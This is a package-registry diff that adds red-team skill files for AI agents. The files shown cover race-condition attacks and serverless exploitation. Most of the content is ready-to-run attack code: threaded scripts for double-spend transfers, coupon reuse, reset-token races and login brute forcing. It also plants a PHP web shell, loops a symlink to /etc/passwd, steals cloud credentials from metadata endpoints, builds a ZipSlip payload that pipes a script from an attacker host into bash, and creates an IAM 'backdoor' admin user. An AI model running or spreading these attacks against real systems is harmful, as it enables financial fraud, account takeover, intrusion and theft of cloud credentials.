rtexit-method 0.1.6 → 0.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-bluetooth-ble/SKILL.md +302 -0
- package/packaged-assets/.agents/skills/rt-browser-exploitation/SKILL.md +244 -0
- package/packaged-assets/.agents/skills/rt-race-conditions/SKILL.md +357 -0
- package/packaged-assets/.agents/skills/rt-serverless/SKILL.md +274 -0
- package/packaged-assets/.agents/skills/rt-websockets-grpc/SKILL.md +357 -0
|
@@ -0,0 +1,357 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-race-conditions
|
|
3
|
+
description: "Race condition and concurrency attack skill for authorized engagements. TOCTOU (Time-of-Check-Time-of-Use) exploitation, HTTP/2 single-packet race attacks, API rate limit and balance bypass, coupon/voucher reuse via parallel requests, account takeover via concurrent password reset, file upload race conditions, Burp Suite Turbo Intruder for single-packet attacks, and limit-one bypass techniques. Use when testing web applications, APIs, or any system with concurrent request handling."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-race-conditions — Race Conditions & Concurrency Attacks
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Race conditions occur when application behavior depends on the timing of concurrent operations. A window of time between a check and its corresponding action (TOCTOU) allows attackers to exploit the gap. Modern HTTP/2 makes these attacks more reliable by sending multiple requests in a single TCP packet — eliminating network jitter.
|
|
11
|
+
|
|
12
|
+
**High-value targets:**
|
|
13
|
+
- Financial transactions (double-spend, balance manipulation)
|
|
14
|
+
- Coupon/promo code systems (use once → use many times)
|
|
15
|
+
- Account limits (free tier bypass, rate limit evasion)
|
|
16
|
+
- Password reset / email verification flows
|
|
17
|
+
- File operations (symlink attacks, upload processing)
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Identify Race Condition Candidates
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Patterns that suggest race condition vulnerabilities:
|
|
25
|
+
|
|
26
|
+
# 1. "Use once" operations
|
|
27
|
+
# - Promo codes / coupons
|
|
28
|
+
# - Gift card redemption
|
|
29
|
+
# - One-time tokens (password reset, email verify)
|
|
30
|
+
# - Referral bonuses
|
|
31
|
+
|
|
32
|
+
# 2. Limit-based operations
|
|
33
|
+
# - "Maximum 1 per account"
|
|
34
|
+
# - Rate-limited API calls
|
|
35
|
+
# - Free tier resource limits
|
|
36
|
+
# - Transfer limits
|
|
37
|
+
|
|
38
|
+
# 3. Check-then-act patterns
|
|
39
|
+
# if balance >= amount: deduct(amount) ← race window here
|
|
40
|
+
# if coupon_used == false: apply(coupon) ← race window here
|
|
41
|
+
# if slot_available: reserve(slot) ← race window here
|
|
42
|
+
|
|
43
|
+
# 4. File/resource operations
|
|
44
|
+
# Upload → validate → move ← race in validate step
|
|
45
|
+
# Create temp file → process → delete ← TOCTOU
|
|
46
|
+
|
|
47
|
+
# Test tool: Burp Suite Repeater / Turbo Intruder
|
|
48
|
+
# Browser: DevTools Network tab — look for state-changing requests
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## Phase 2 — HTTP/2 Single-Packet Race Attack
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# HTTP/2 allows multiple requests in one TCP packet
|
|
57
|
+
# All requests arrive at server simultaneously → eliminates network jitter
|
|
58
|
+
# Makes race window exploitation much more reliable
|
|
59
|
+
|
|
60
|
+
# Burp Suite — single-packet attack (built-in since v2023.9)
|
|
61
|
+
# 1. Capture the target request in Proxy
|
|
62
|
+
# 2. Send to Repeater
|
|
63
|
+
# 3. Create a group of identical requests (right-click → Add to group)
|
|
64
|
+
# 4. Set connection: Send group in parallel (single-packet attack)
|
|
65
|
+
# 5. Send → all requests hit server simultaneously
|
|
66
|
+
|
|
67
|
+
# Turbo Intruder (Burp extension) — more control
|
|
68
|
+
# Extensions → BApp Store → Turbo Intruder
|
|
69
|
+
|
|
70
|
+
# race_single_packet.py (Turbo Intruder script)
|
|
71
|
+
def queueRequests(target, wordlists):
|
|
72
|
+
engine = RequestEngine(endpoint=target.endpoint,
|
|
73
|
+
concurrentConnections=1,
|
|
74
|
+
requestsPerConnection=50, # 50 requests in one packet
|
|
75
|
+
pipeline=True)
|
|
76
|
+
for i in range(50):
|
|
77
|
+
engine.queue(target.req)
|
|
78
|
+
|
|
79
|
+
def handleResponse(req, interesting):
|
|
80
|
+
table.add(req)
|
|
81
|
+
|
|
82
|
+
# Python requests — parallel race
|
|
83
|
+
import requests, threading, time
|
|
84
|
+
|
|
85
|
+
url = "https://target.com/api/redeem-coupon"
|
|
86
|
+
headers = {"Cookie": "session=YOUR_SESSION", "Content-Type": "application/json"}
|
|
87
|
+
data = '{"coupon_code": "SAVE50"}'
|
|
88
|
+
|
|
89
|
+
results = []
|
|
90
|
+
def send_request():
|
|
91
|
+
r = requests.post(url, headers=headers, data=data)
|
|
92
|
+
results.append(r.status_code)
|
|
93
|
+
|
|
94
|
+
# Launch 20 threads simultaneously
|
|
95
|
+
threads = [threading.Thread(target=send_request) for _ in range(20)]
|
|
96
|
+
|
|
97
|
+
# Synchronize start — all fire at same moment
|
|
98
|
+
barrier = threading.Barrier(20)
|
|
99
|
+
def synchronized_send():
|
|
100
|
+
barrier.wait() # Wait for all threads to be ready
|
|
101
|
+
send_request()
|
|
102
|
+
|
|
103
|
+
threads = [threading.Thread(target=synchronized_send) for _ in range(20)]
|
|
104
|
+
[t.start() for t in threads]
|
|
105
|
+
[t.join() for t in threads]
|
|
106
|
+
print(f"Results: {results}")
|
|
107
|
+
# Multiple 200 responses = race condition exploited
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## Phase 3 — Balance / Financial Race Conditions
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
# Double-spend attack: transfer money twice before balance updates
|
|
116
|
+
|
|
117
|
+
# Scenario: Transfer $100 from account with $100 balance
|
|
118
|
+
# Check: balance >= 100? YES
|
|
119
|
+
# [RACE WINDOW — send second request here]
|
|
120
|
+
# Deduct: balance = 0
|
|
121
|
+
|
|
122
|
+
# Both requests check balance = 100 → both pass → balance goes negative
|
|
123
|
+
|
|
124
|
+
python3 << 'EOF'
|
|
125
|
+
import requests, threading
|
|
126
|
+
|
|
127
|
+
session = requests.Session()
|
|
128
|
+
session.cookies.set("session", "YOUR_SESSION_TOKEN")
|
|
129
|
+
|
|
130
|
+
url = "https://bank.target.com/api/transfer"
|
|
131
|
+
payload = {"to_account": "ATTACKER_ACCOUNT", "amount": 100}
|
|
132
|
+
|
|
133
|
+
def transfer():
|
|
134
|
+
r = session.post(url, json=payload)
|
|
135
|
+
print(f"Status: {r.status_code} | Response: {r.text[:100]}")
|
|
136
|
+
|
|
137
|
+
# Synchronize 10 transfer requests
|
|
138
|
+
barrier = threading.Barrier(10)
|
|
139
|
+
def sync_transfer():
|
|
140
|
+
barrier.wait()
|
|
141
|
+
transfer()
|
|
142
|
+
|
|
143
|
+
threads = [threading.Thread(target=sync_transfer) for _ in range(10)]
|
|
144
|
+
[t.start() for t in threads]
|
|
145
|
+
[t.join() for t in threads]
|
|
146
|
+
EOF
|
|
147
|
+
|
|
148
|
+
# Same technique for:
|
|
149
|
+
# - Withdrawing more than balance
|
|
150
|
+
# - Applying a discount multiple times
|
|
151
|
+
# - Claiming a reward multiple times
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## Phase 4 — Coupon / Promo Code Bypass
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
# One-use coupon exploited multiple times
|
|
160
|
+
|
|
161
|
+
# Step 1: Identify the redeem endpoint
|
|
162
|
+
# POST /api/cart/apply-coupon {"code": "SAVE50"}
|
|
163
|
+
|
|
164
|
+
# Step 2: Add item to cart, don't redeem yet
|
|
165
|
+
# Step 3: Send 20+ parallel redemption requests
|
|
166
|
+
|
|
167
|
+
python3 << 'EOF'
|
|
168
|
+
import requests, threading
|
|
169
|
+
|
|
170
|
+
BASE = "https://shop.target.com"
|
|
171
|
+
SESSION = "your_session_cookie"
|
|
172
|
+
|
|
173
|
+
def apply_coupon():
|
|
174
|
+
r = requests.post(f"{BASE}/api/cart/apply-coupon",
|
|
175
|
+
json={"code": "SAVE50"},
|
|
176
|
+
cookies={"session": SESSION})
|
|
177
|
+
print(r.status_code, r.json().get("discount", ""))
|
|
178
|
+
|
|
179
|
+
# Fire 20 simultaneous requests
|
|
180
|
+
barrier = threading.Barrier(20)
|
|
181
|
+
def go():
|
|
182
|
+
barrier.wait()
|
|
183
|
+
apply_coupon()
|
|
184
|
+
|
|
185
|
+
threads = [threading.Thread(target=go) for _ in range(20)]
|
|
186
|
+
[t.start() for t in threads]
|
|
187
|
+
[t.join() for t in threads]
|
|
188
|
+
|
|
189
|
+
# Check cart total — likely applied multiple times
|
|
190
|
+
r = requests.get(f"{BASE}/api/cart", cookies={"session": SESSION})
|
|
191
|
+
print("Cart total:", r.json().get("total"))
|
|
192
|
+
EOF
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
## Phase 5 — Account Takeover via Concurrent Password Reset
|
|
198
|
+
|
|
199
|
+
```bash
|
|
200
|
+
# Some apps generate short/predictable tokens
|
|
201
|
+
# Race: request multiple resets → multiple valid tokens → brute force shorter
|
|
202
|
+
|
|
203
|
+
# More common: email-based OTP reuse
|
|
204
|
+
# Reset token sent → token valid for 10 min → can be reused multiple times
|
|
205
|
+
# (No invalidation on first use = not a race, just a bug)
|
|
206
|
+
|
|
207
|
+
# Actual race: some apps invalidate token only AFTER successful reset
|
|
208
|
+
# Two simultaneous reset requests with same token:
|
|
209
|
+
# Request 1: validate(token) → valid → reset password → invalidate(token)
|
|
210
|
+
# Request 2: validate(token) → valid (check happened before invalidation)
|
|
211
|
+
# Both succeed → control account
|
|
212
|
+
|
|
213
|
+
python3 << 'EOF'
|
|
214
|
+
import requests, threading
|
|
215
|
+
|
|
216
|
+
token = "RESET_TOKEN_FROM_EMAIL"
|
|
217
|
+
new_pass_1 = "Attacker1!"
|
|
218
|
+
new_pass_2 = "Attacker2!"
|
|
219
|
+
|
|
220
|
+
def reset(new_password):
|
|
221
|
+
r = requests.post("https://target.com/reset-password",
|
|
222
|
+
json={"token": token, "password": new_password})
|
|
223
|
+
print(f"Password {new_password}: {r.status_code} {r.text[:50]}")
|
|
224
|
+
|
|
225
|
+
barrier = threading.Barrier(2)
|
|
226
|
+
t1 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_1)])
|
|
227
|
+
t2 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_2)])
|
|
228
|
+
t1.start(); t2.start()
|
|
229
|
+
t1.join(); t2.join()
|
|
230
|
+
# If both 200 → token used twice → race confirmed
|
|
231
|
+
EOF
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## Phase 6 — File Upload Race Conditions
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# Upload → validate → move to final location
|
|
240
|
+
# Race window: between upload and validation
|
|
241
|
+
# If validation only checks file after move → bypass possible
|
|
242
|
+
|
|
243
|
+
# Scenario: app uploads file, validates it's an image, then serves it
|
|
244
|
+
# Race: upload PHP shell → immediately request it before validation deletes it
|
|
245
|
+
|
|
246
|
+
python3 << 'EOF'
|
|
247
|
+
import requests, threading, time
|
|
248
|
+
|
|
249
|
+
url_upload = "https://target.com/upload"
|
|
250
|
+
url_exec = "https://target.com/uploads/shell.php?cmd=id"
|
|
251
|
+
session_cookie = {"session": "YOUR_SESSION"}
|
|
252
|
+
|
|
253
|
+
shell_content = b"<?php system($_GET['cmd']); ?>"
|
|
254
|
+
|
|
255
|
+
def upload():
|
|
256
|
+
files = {"file": ("shell.php", shell_content, "image/jpeg")}
|
|
257
|
+
return requests.post(url_upload, files=files, cookies=session_cookie)
|
|
258
|
+
|
|
259
|
+
def execute():
|
|
260
|
+
for _ in range(100): # Keep trying during race window
|
|
261
|
+
r = requests.get(url_exec, cookies=session_cookie)
|
|
262
|
+
if "uid=" in r.text:
|
|
263
|
+
print("RCE:", r.text[:100])
|
|
264
|
+
return
|
|
265
|
+
time.sleep(0.01)
|
|
266
|
+
|
|
267
|
+
# Upload and immediately try to execute in parallel
|
|
268
|
+
t_upload = threading.Thread(target=upload)
|
|
269
|
+
t_exec = threading.Thread(target=execute)
|
|
270
|
+
t_exec.start() # Start execution attempts first
|
|
271
|
+
t_upload.start() # Then upload
|
|
272
|
+
t_upload.join(); t_exec.join()
|
|
273
|
+
EOF
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
## Phase 7 — TOCTOU in File System
|
|
279
|
+
|
|
280
|
+
```bash
|
|
281
|
+
# Time-of-Check-Time-of-Use on filesystem
|
|
282
|
+
# Scenario: app checks if path is safe, then opens it
|
|
283
|
+
# Race: replace safe path with symlink to /etc/passwd between check and open
|
|
284
|
+
|
|
285
|
+
# Classic symlink attack
|
|
286
|
+
mkdir /tmp/race
|
|
287
|
+
ln -s /etc/passwd /tmp/race/target # Create symlink
|
|
288
|
+
|
|
289
|
+
# If app does:
|
|
290
|
+
# if os.path.isfile("/tmp/user_upload"): ← CHECK
|
|
291
|
+
# process("/tmp/user_upload") ← USE (could be symlink now)
|
|
292
|
+
|
|
293
|
+
# Race script
|
|
294
|
+
while true; do
|
|
295
|
+
rm -f /tmp/user_upload
|
|
296
|
+
cp benign_file.txt /tmp/user_upload # Safe file (passes check)
|
|
297
|
+
rm -f /tmp/user_upload
|
|
298
|
+
ln -s /etc/passwd /tmp/user_upload # Symlink (used in action)
|
|
299
|
+
done &
|
|
300
|
+
|
|
301
|
+
# Trigger the vulnerable app operation repeatedly
|
|
302
|
+
# If successful → app reads /etc/passwd instead of user file
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
---
|
|
306
|
+
|
|
307
|
+
## Phase 8 — Rate Limit Bypass
|
|
308
|
+
|
|
309
|
+
```bash
|
|
310
|
+
# Rate limits often implemented per-IP or per-session
|
|
311
|
+
# Race can send burst before counter increments
|
|
312
|
+
|
|
313
|
+
# Identify rate-limited endpoint
|
|
314
|
+
# POST /api/login → 5 attempts/min → locked
|
|
315
|
+
|
|
316
|
+
# Bypass: send all attempts simultaneously before counter processes them
|
|
317
|
+
python3 << 'EOF'
|
|
318
|
+
import requests, threading
|
|
319
|
+
|
|
320
|
+
passwords = ["Summer2024!", "Password1!", "Welcome1!", "Admin123!",
|
|
321
|
+
"Company2024!", "Spring2024!", "Winter2024!", "Fall2024!"]
|
|
322
|
+
|
|
323
|
+
def try_password(p):
|
|
324
|
+
r = requests.post("https://target.com/login",
|
|
325
|
+
json={"username": "admin", "password": p},
|
|
326
|
+
headers={"X-Forwarded-For": f"1.2.3.{hash(p) % 255}"})
|
|
327
|
+
if "invalid" not in r.text.lower():
|
|
328
|
+
print(f"SUCCESS: {p}")
|
|
329
|
+
|
|
330
|
+
barrier = threading.Barrier(len(passwords))
|
|
331
|
+
threads = [threading.Thread(target=lambda p=p: [barrier.wait(), try_password(p)])
|
|
332
|
+
for p in passwords]
|
|
333
|
+
[t.start() for t in threads]
|
|
334
|
+
[t.join() for t in threads]
|
|
335
|
+
EOF
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
---
|
|
339
|
+
|
|
340
|
+
## Skill Levels
|
|
341
|
+
|
|
342
|
+
**BEGINNER:** Burp Repeater parallel group → coupon/promo bypass → observe multiple success responses
|
|
343
|
+
|
|
344
|
+
**INTERMEDIATE:** Turbo Intruder single-packet attack → balance manipulation → password reset token reuse
|
|
345
|
+
|
|
346
|
+
**ADVANCED:** File upload race → TOCTOU symlink → rate limit burst bypass with IP rotation
|
|
347
|
+
|
|
348
|
+
**EXPERT:** Custom HTTP/2 single-packet tooling → distributed race across multiple sessions → chaining with other vulns
|
|
349
|
+
|
|
350
|
+
---
|
|
351
|
+
|
|
352
|
+
## References
|
|
353
|
+
|
|
354
|
+
- PortSwigger Race Conditions: https://portswigger.net/web-security/race-conditions
|
|
355
|
+
- Turbo Intruder: https://github.com/PortSwigger/turbo-intruder
|
|
356
|
+
- HTTP/2 Single Packet Attack paper: https://portswigger.net/research/smashing-the-state-machine
|
|
357
|
+
- MITRE T1499.004: https://attack.mitre.org/techniques/T1499/004/
|
|
@@ -0,0 +1,274 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-serverless
|
|
3
|
+
description: "Serverless function exploitation skill for authorized engagements. AWS Lambda privilege escalation and data exfiltration, Azure Functions abuse, GCP Cloud Functions exploitation, environment variable extraction from serverless contexts, event injection attacks (S3 trigger, SQS, SNS), function URL misconfiguration, cold start timing attacks, shared filesystem abuse, and lateral movement from serverless to cloud account. Use when engagement scope includes cloud-native or serverless architectures."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-serverless — Serverless Function Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Serverless functions (Lambda, Azure Functions, Cloud Functions) have a unique attack surface: they run with IAM roles, have environment variables containing secrets, share underlying infrastructure, and are triggered by cloud events that attackers can inject into. A misconfigured Lambda can be the pivot from an external vulnerability to full cloud account takeover.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Discovery & Enumeration
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# AWS Lambda enumeration
|
|
18
|
+
aws lambda list-functions --region us-east-1
|
|
19
|
+
aws lambda get-function --function-name target-function
|
|
20
|
+
# Shows: code location (S3 URL), environment variables (if you have IAM rights), role
|
|
21
|
+
|
|
22
|
+
# Download function code
|
|
23
|
+
aws lambda get-function --function-name target-function \
|
|
24
|
+
--query 'Code.Location' --output text | xargs curl -o function.zip
|
|
25
|
+
unzip function.zip -d function_code/
|
|
26
|
+
# Analyze code for: hardcoded creds, SQL queries, internal endpoints
|
|
27
|
+
|
|
28
|
+
# Get function policy (who can invoke it)
|
|
29
|
+
aws lambda get-policy --function-name target-function
|
|
30
|
+
# If Resource: "*" → publicly invokable
|
|
31
|
+
|
|
32
|
+
# List function URLs (direct HTTPS invocation without IAM)
|
|
33
|
+
aws lambda list-function-url-configs --function-name target-function
|
|
34
|
+
# AuthType: NONE = unauthenticated invoke = high risk
|
|
35
|
+
|
|
36
|
+
# Azure Functions enumeration
|
|
37
|
+
az functionapp list --output table
|
|
38
|
+
az functionapp function list --name FUNCTION_APP --resource-group RG
|
|
39
|
+
|
|
40
|
+
# GCP Cloud Functions
|
|
41
|
+
gcloud functions list
|
|
42
|
+
gcloud functions describe FUNCTION_NAME --region us-central1
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Phase 2 — Unauthenticated Function Invocation
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
# Lambda Function URLs with AuthType: NONE
|
|
51
|
+
curl https://RANDOM_ID.lambda-url.us-east-1.on.aws/
|
|
52
|
+
|
|
53
|
+
# Lambda with resource policy allowing public invoke
|
|
54
|
+
aws lambda invoke --function-name target-function \
|
|
55
|
+
--payload '{"action":"admin","user":"attacker"}' \
|
|
56
|
+
--cli-binary-format raw-in-base64-out output.json
|
|
57
|
+
cat output.json
|
|
58
|
+
|
|
59
|
+
# Azure Function with anonymous auth level
|
|
60
|
+
curl "https://FUNCTIONAPP.azurewebsites.net/api/FUNCTION_NAME"
|
|
61
|
+
# Or with function key:
|
|
62
|
+
curl "https://FUNCTIONAPP.azurewebsites.net/api/FUNCTION_NAME?code=FUNCTION_KEY"
|
|
63
|
+
|
|
64
|
+
# Find function keys (often in source code, CI/CD, or Azure Portal)
|
|
65
|
+
az functionapp function keys list --name FUNCTIONAPP --resource-group RG --function-name FUNC
|
|
66
|
+
|
|
67
|
+
# GCP unauthenticated function
|
|
68
|
+
curl "https://REGION-PROJECT.cloudfunctions.net/FUNCTION_NAME"
|
|
69
|
+
# allUsers with invoker role = public
|
|
70
|
+
gcloud functions get-iam-policy FUNCTION_NAME
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## Phase 3 — Environment Variable Extraction
|
|
76
|
+
|
|
77
|
+
```bash
|
|
78
|
+
# Lambda environment variables often contain:
|
|
79
|
+
# - Database credentials
|
|
80
|
+
# - API keys (Stripe, Twilio, SendGrid)
|
|
81
|
+
# - JWT signing secrets
|
|
82
|
+
# - Internal service URLs
|
|
83
|
+
# - AWS credentials for other services
|
|
84
|
+
|
|
85
|
+
# Extract env vars if you have lambda:GetFunction
|
|
86
|
+
aws lambda get-function-configuration --function-name target-function \
|
|
87
|
+
| jq '.Environment.Variables'
|
|
88
|
+
# Output:
|
|
89
|
+
# {
|
|
90
|
+
# "DB_PASSWORD": "secretpassword",
|
|
91
|
+
# "STRIPE_API_KEY": "sk_live_...",
|
|
92
|
+
# "INTERNAL_API_KEY": "abc123"
|
|
93
|
+
# }
|
|
94
|
+
|
|
95
|
+
# From inside function execution (SSRF → Lambda metadata)
|
|
96
|
+
# If the function is vulnerable to SSRF:
|
|
97
|
+
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
98
|
+
# Or Lambda-specific endpoint:
|
|
99
|
+
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
|
100
|
+
# Returns temporary credentials for the function's IAM role
|
|
101
|
+
|
|
102
|
+
# If you have code execution inside function:
|
|
103
|
+
# Process environment dump
|
|
104
|
+
import os
|
|
105
|
+
print(dict(os.environ))
|
|
106
|
+
# All env vars including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
## Phase 4 — Event Injection Attacks
|
|
112
|
+
|
|
113
|
+
```bash
|
|
114
|
+
# Functions triggered by cloud events — inject malicious events
|
|
115
|
+
|
|
116
|
+
# S3 trigger: function processes files uploaded to S3 bucket
|
|
117
|
+
# If you have S3 write access → upload malicious file → trigger function
|
|
118
|
+
|
|
119
|
+
# Upload file that causes path traversal in function
|
|
120
|
+
aws s3 cp malicious.csv s3://trigger-bucket/uploads/../../etc/passwd
|
|
121
|
+
|
|
122
|
+
# Upload ZIP that causes ZipSlip in function
|
|
123
|
+
python3 << 'EOF'
|
|
124
|
+
import zipfile
|
|
125
|
+
with zipfile.ZipFile("zipslip.zip", "w") as z:
|
|
126
|
+
z.writestr("../../tmp/pwned.sh", "#!/bin/bash\ncurl http://ATTACKER/shell.sh | bash")
|
|
127
|
+
EOF
|
|
128
|
+
aws s3 cp zipslip.zip s3://trigger-bucket/uploads/
|
|
129
|
+
|
|
130
|
+
# SQS injection: function processes SQS messages
|
|
131
|
+
aws sqs send-message \
|
|
132
|
+
--queue-url https://sqs.us-east-1.amazonaws.com/ACCOUNT/queue-name \
|
|
133
|
+
--message-body '{"action":"admin_override","user_id":"1","admin":true}'
|
|
134
|
+
|
|
135
|
+
# SNS injection
|
|
136
|
+
aws sns publish \
|
|
137
|
+
--topic-arn arn:aws:sns:us-east-1:ACCOUNT:topic-name \
|
|
138
|
+
--message '{"type":"webhook","url":"http://169.254.169.254/latest/meta-data/"}'
|
|
139
|
+
|
|
140
|
+
# API Gateway → Lambda injection
|
|
141
|
+
# Standard web attacks (SQLi, XSS, SSRF) via HTTP
|
|
142
|
+
curl "https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user?id=1' OR '1'='1"
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
---
|
|
146
|
+
|
|
147
|
+
## Phase 5 — IAM Role Abuse from Lambda
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
# Lambda functions have an IAM execution role
|
|
151
|
+
# Over-privileged roles → lateral movement to other AWS services
|
|
152
|
+
|
|
153
|
+
# From inside function (or via SSRF):
|
|
154
|
+
# Get temporary credentials
|
|
155
|
+
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
|
156
|
+
# Response:
|
|
157
|
+
# {
|
|
158
|
+
# "AccessKeyId": "ASIA...",
|
|
159
|
+
# "SecretAccessKey": "...",
|
|
160
|
+
# "Token": "...",
|
|
161
|
+
# "Expiration": "2024-..."
|
|
162
|
+
# }
|
|
163
|
+
|
|
164
|
+
# Use credentials to escalate
|
|
165
|
+
export AWS_ACCESS_KEY_ID="ASIA..."
|
|
166
|
+
export AWS_SECRET_ACCESS_KEY="..."
|
|
167
|
+
export AWS_SESSION_TOKEN="..."
|
|
168
|
+
|
|
169
|
+
# Check what the role can do
|
|
170
|
+
aws sts get-caller-identity
|
|
171
|
+
aws iam list-attached-role-policies --role-name lambda-execution-role
|
|
172
|
+
aws iam get-role-policy --role-name lambda-execution-role --policy-name inline-policy
|
|
173
|
+
|
|
174
|
+
# Common over-privilege patterns:
|
|
175
|
+
aws s3 ls --recursive # s3:* = read all buckets
|
|
176
|
+
aws secretsmanager list-secrets # All secrets
|
|
177
|
+
aws ssm describe-parameters # All SSM parameters (contain creds)
|
|
178
|
+
aws ec2 describe-instances # Internal infrastructure map
|
|
179
|
+
|
|
180
|
+
# Best case: iam:* → full account takeover
|
|
181
|
+
aws iam create-user --user-name backdoor
|
|
182
|
+
aws iam attach-user-policy --user-name backdoor \
|
|
183
|
+
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
|
184
|
+
aws iam create-access-key --user-name backdoor
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
---
|
|
188
|
+
|
|
189
|
+
## Phase 6 — Shared Filesystem & Cold Start Attacks
|
|
190
|
+
|
|
191
|
+
```bash
|
|
192
|
+
# /tmp in Lambda is shared across warm instances (same account, same function)
|
|
193
|
+
# Write to /tmp → next warm invocation reads it
|
|
194
|
+
|
|
195
|
+
# Test for shared /tmp abuse
|
|
196
|
+
# Invoke 1: write marker
|
|
197
|
+
curl -X POST FUNCTION_URL -d '{"action":"write","path":"/tmp/marker","content":"pwned"}'
|
|
198
|
+
|
|
199
|
+
# Invoke 2: read marker
|
|
200
|
+
curl -X POST FUNCTION_URL -d '{"action":"read","path":"/tmp/marker"}'
|
|
201
|
+
# If response = "pwned" → /tmp shared across invocations
|
|
202
|
+
|
|
203
|
+
# Lambda Layer abuse
|
|
204
|
+
# Layers are shared code across functions
|
|
205
|
+
# If you can modify a layer: aws lambda publish-layer-version
|
|
206
|
+
# All functions using that layer execute your code
|
|
207
|
+
|
|
208
|
+
# Cold start timing attack
|
|
209
|
+
# Functions have initialization code that runs once
|
|
210
|
+
# If init code is slow → cold start takes longer → timing reveals code paths
|
|
211
|
+
|
|
212
|
+
# Measure cold start time
|
|
213
|
+
python3 << 'EOF'
|
|
214
|
+
import requests, time
|
|
215
|
+
|
|
216
|
+
# Force cold start by changing something
|
|
217
|
+
for _ in range(5):
|
|
218
|
+
start = time.time()
|
|
219
|
+
r = requests.post(FUNCTION_URL, json={"probe": True})
|
|
220
|
+
elapsed = time.time() - start
|
|
221
|
+
print(f"Response time: {elapsed:.3f}s | Status: {r.status_code}")
|
|
222
|
+
time.sleep(0.1)
|
|
223
|
+
# Long first response = cold start = leaked initialization info
|
|
224
|
+
EOF
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## Phase 7 — Azure Functions & GCP Specific
|
|
230
|
+
|
|
231
|
+
```bash
|
|
232
|
+
# Azure Functions — Managed Identity abuse
|
|
233
|
+
# Functions with Managed Identity can access Azure resources
|
|
234
|
+
|
|
235
|
+
# From inside Azure function (SSRF to IMDS):
|
|
236
|
+
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
|
|
237
|
+
-H "Metadata: true"
|
|
238
|
+
# Returns access token for the function's managed identity
|
|
239
|
+
|
|
240
|
+
# Use token to access Azure resources
|
|
241
|
+
TOKEN=$(curl -s "http://..." -H "Metadata: true" | jq -r '.access_token')
|
|
242
|
+
curl -H "Authorization: Bearer $TOKEN" \
|
|
243
|
+
"https://management.azure.com/subscriptions?api-version=2020-01-01"
|
|
244
|
+
|
|
245
|
+
# GCP Cloud Functions — Service Account abuse
|
|
246
|
+
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
|
|
247
|
+
-H "Metadata-Flavor: Google"
|
|
248
|
+
# Returns access token for the function's service account
|
|
249
|
+
|
|
250
|
+
TOKEN=$(curl -s "http://..." -H "Metadata-Flavor: Google" | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
|
|
251
|
+
curl -H "Authorization: Bearer $TOKEN" \
|
|
252
|
+
"https://cloudresourcemanager.googleapis.com/v1/projects"
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
## Skill Levels
|
|
258
|
+
|
|
259
|
+
**BEGINNER:** Lambda function enumeration + download code + check env vars + unauthenticated invoke
|
|
260
|
+
|
|
261
|
+
**INTERMEDIATE:** Event injection via S3/SQS + IAM role credential extraction via IMDS SSRF + Secrets Manager dump
|
|
262
|
+
|
|
263
|
+
**ADVANCED:** Lambda layer modification for persistence + shared /tmp abuse + managed identity chaining
|
|
264
|
+
|
|
265
|
+
**EXPERT:** Custom event injection chains + cross-function lateral movement + serverless-to-EC2 pivot via over-privileged role
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
